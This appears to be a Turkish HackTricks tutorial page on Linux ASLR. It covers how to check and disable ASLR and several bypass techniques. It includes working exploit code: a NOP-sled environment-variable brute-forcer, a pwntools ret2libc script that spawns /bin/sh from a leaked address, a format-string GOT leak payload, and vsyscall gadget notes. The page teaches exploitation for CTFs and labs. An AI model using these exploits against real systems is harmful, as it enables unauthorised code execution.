ASLR
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Adres Alanı Düzeni Rastgeleleştirme (ASLR), işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle tampon taşmaları, azaltır.
ASLR Durumunu Kontrol Etme
Bir Linux sisteminde ASLR durumunu kontrol etmek için, /proc/sys/kernel/randomize_va_space
dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:
- 0: Rastgeleleştirme yok. Her şey statik.
- 1: İhtiyatlı rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilmiştir.
- 2: Tam rastgeleleştirme. İhtiyatlı rastgeleleştirme ile rastgeleleştirilen unsurlara ek olarak,
brk()
ile yönetilen bellek rastgeleleştirilmiştir.
ASLR durumunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
cat /proc/sys/kernel/randomize_va_space
ASLR'yi Devre Dışı Bırakma
ASLR'yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space
değerini 0 olarak ayarlarsınız. ASLR'yi devre dışı bırakmak, genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl yapabileceğiniz:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
ASLR'yi bir yürütme için de devre dışı bırakabilirsiniz:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR'yi Etkinleştirme
ASLR'yi etkinleştirmek için, /proc/sys/kernel/randomize_va_space
dosyasına 2 değerini yazabilirsiniz. Bu genellikle root ayrıcalıkları gerektirir. Tam rastgeleleştirme, aşağıdaki komutla yapılabilir:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Yeniden Başlatmalarda Süreklilik
echo
komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf
dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
/etc/sysctl.conf
dosyasını düzenledikten sonra, değişiklikleri uygulamak için:
sudo sysctl -p
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
Atlatmalar
32bit brute-forcing
PaX, işlem adres alanını 3 gruba ayırır:
- Kod ve veri (başlatılmış ve başlatılmamış):
.text
,.data
ve.bss
—>delta_exec
değişkeninde 16 bit entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. mmap()
ile tahsis edilen bellek ve paylaşılan kütüphaneler —> 16 bit,delta_mmap
olarak adlandırılır.- Yığın —> 24 bit,
delta_stack
olarak adlandırılır. Ancak, etkili olarak 11 bit kullanır (10. bayttan 20. bayta kadar dahil), 16 bayt hizalıdır —> Bu, 524,288 olası gerçek yığın adresi ile sonuçlanır.
Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, ASLR'yi atlatmayı mümkün kılarak, istismarın başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemeyi sağlar.
Brute-force fikirleri:
- Eğer shellcode'dan önce büyük bir NOP sled barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın NOP sled'in bir kısmının üzerinden atlamasını sağlayabilirsiniz.
- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, NOP sled ve shellcode'u bir ortam değişkenine eklemek mümkündür.
- Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Uzak bir sunucuya saldırıyorsanız,
usleep
fonksiyonununlibc
adresini brute-force etmeyi deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada sunucu yanıt vermek için 10 saniye ekstra alıyorsa, bu fonksiyonun adresini bulmuşsunuzdur.
tip
64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
64 bit yığın brute-forcing
Yığın üzerinde çevresel değişkenlerle büyük bir alan kaplamak ve ardından bunu istismar etmek için yerel olarak yüzlerce/binlerce kez kötüye kullanmayı denemek mümkündür.
Aşağıdaki kod, yığında sadece bir adres seçmenin nasıl mümkün olduğunu ve her yüzlerce çalıştırmadan o adresin NOP talimatını içereceğini göstermektedir:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Yerel Bilgiler (/proc/[pid]/stat
)
Bir sürecin /proc/[pid]/stat
dosyası her zaman herkes tarafından okunabilir ve ilginç bilgiler içerir, örneğin:
- startcode & endcode: İkili dosyanın TEXT'inin üstünde ve altında bulunan adresler
- startstack: stack'in başlangıç adresi
- start_data & end_data: BSS'nin üstünde ve altında bulunan adresler
- kstkesp & kstkeip: Mevcut ESP ve EIP adresleri
- arg_start & arg_end: cli argümanlarının üstünde ve altında bulunan adresler
- env_start & env_end: env değişkenlerinin üstünde ve altında bulunan adresler
Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir girdi üzerinden bekliyorsa, bir saldırganın bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür.
tip
Bu dosya hakkında daha fazla bilgi için https://man7.org/linux/man-pages/man5/proc.5.html adresinde /proc/pid/stat
araması yapın.
Bir sızıntıya sahip olmak
- Zorluk bir sızıntı vermektir
Eğer size bir sızıntı verilirse (kolay CTF zorlukları), ondan ofsetleri hesaplayabilirsiniz (örneğin, istismar ettiğiniz sistemde kullanılan tam libc sürümünü bildiğinizi varsayarsak). Bu örnek istismar, buradan örnek alınmıştır (daha fazla ayrıntı için o sayfaya bakın):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Bir buffer overflow kullanarak, bir ret2plt'yi istismar etmek, libc'den bir fonksiyonun adresini dışarı sarmak mümkün olacaktır. Kontrol et:
- Format Strings Arbitrary Read
ret2plt'de olduğu gibi, eğer bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir libc fonksiyonu adresini dışarı sarmak mümkündür. Aşağıdaki örnek buradan alınmıştır:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Daha fazla bilgi için Format Strings arbitrary read hakkında şunları bulabilirsiniz:
Ret2ret & Ret2pop
ASLR'yi atlatmayı deneyin, yığın içindeki adresleri kullanarak:
vsyscall
vsyscall
mekanizması, belirli sistem çağrılarının kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar, ancak bunlar temelde çekirdek parçasıdır. vsyscall'ların kritik avantajı, ASLR'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan sabit adresler olmalarıdır. Bu sabit yapı, saldırganların adreslerini belirlemek ve bunları bir istismar içinde kullanmak için bir bilgi sızıntısı açığına ihtiyaç duymadıkları anlamına gelir.
Ancak burada çok ilginç aletler bulunmayacaktır (örneğin, bir ret;
eşdeğeri almak mümkündür)
(Aşağıdaki örnek ve kod bu yazıdan alınmıştır)
Örneğin, bir saldırgan bir istismar içinde 0xffffffffff600800
adresini kullanabilir. Doğrudan bir ret
talimatına atlamaya çalışmak, birkaç aletin yürütülmesinden sonra kararsızlığa veya çökmesine yol açabilirken, vsyscall bölümünde sağlanan bir syscall
'ın başlangıcına atlamak başarılı olabilir. Yürütmeyi bu vsyscall adresine yönlendiren dikkatlice yerleştirilmiş bir ROP aleti ile, bir saldırgan bu istismar parçası için ASLR'yi atlatmadan kod yürütme elde edebilir.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Bu nedenle, vdso'yu kullanarak ASLR'yi atlatmanın mümkün olabileceğini unutmayın, eğer çekirdek CONFIG_COMPAT_VDSO ile derlenmişse çünkü vdso adresi rastgeleleştirilmeyecek. Daha fazla bilgi için kontrol edin:
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.